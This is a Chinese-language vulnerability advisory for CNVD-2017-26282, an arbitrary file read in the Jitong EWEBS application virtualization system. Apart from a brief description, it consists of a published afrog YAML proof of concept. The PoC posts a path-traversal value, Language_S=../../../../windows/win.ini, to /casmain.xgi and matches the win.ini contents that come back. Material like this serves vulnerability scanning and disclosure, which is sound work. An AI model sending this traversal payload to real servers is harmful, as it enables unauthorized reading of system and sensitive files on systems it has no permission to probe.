CNVD-2017-26282: 极通ewebs 应用虚拟化系统 任意文件读取

日期: 2025-09-01 | 影响软件: 未知 | POC: 已公开

漏洞描述

介绍: 极通EWEBS系统的casmain.xgi页面存在可控参数，导致攻击者可以访问任意系统文件，泄露的敏感信息。

PoC代码[已公开]

id: CNVD-2017-26282

info:
  name: 极通ewebs 应用虚拟化系统 任意文件读取
  author: 陈麻子
  severity: high
  verified: true
  description: |
    介绍: 极通EWEBS系统的casmain.xgi页面存在可控参数，导致攻击者可以访问任意系统文件，泄露的敏感信息。
  tags: cnvd,cnvd2017,fileread,nsoft,jitong,ewebs
  created: 2020/09/11

rules:
  r0:
    request:
      method: POST
      path: /casmain.xgi
      body: Language_S=../../../../windows/win.ini
    expression: |
      (response.status == 200 || response.status == 206) &&
      response.body.ibcontains(b"[fonts]") &&
      response.body.ibcontains(b"[extensions]")
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CNVD/2017/CNVD-2017-26282.yaml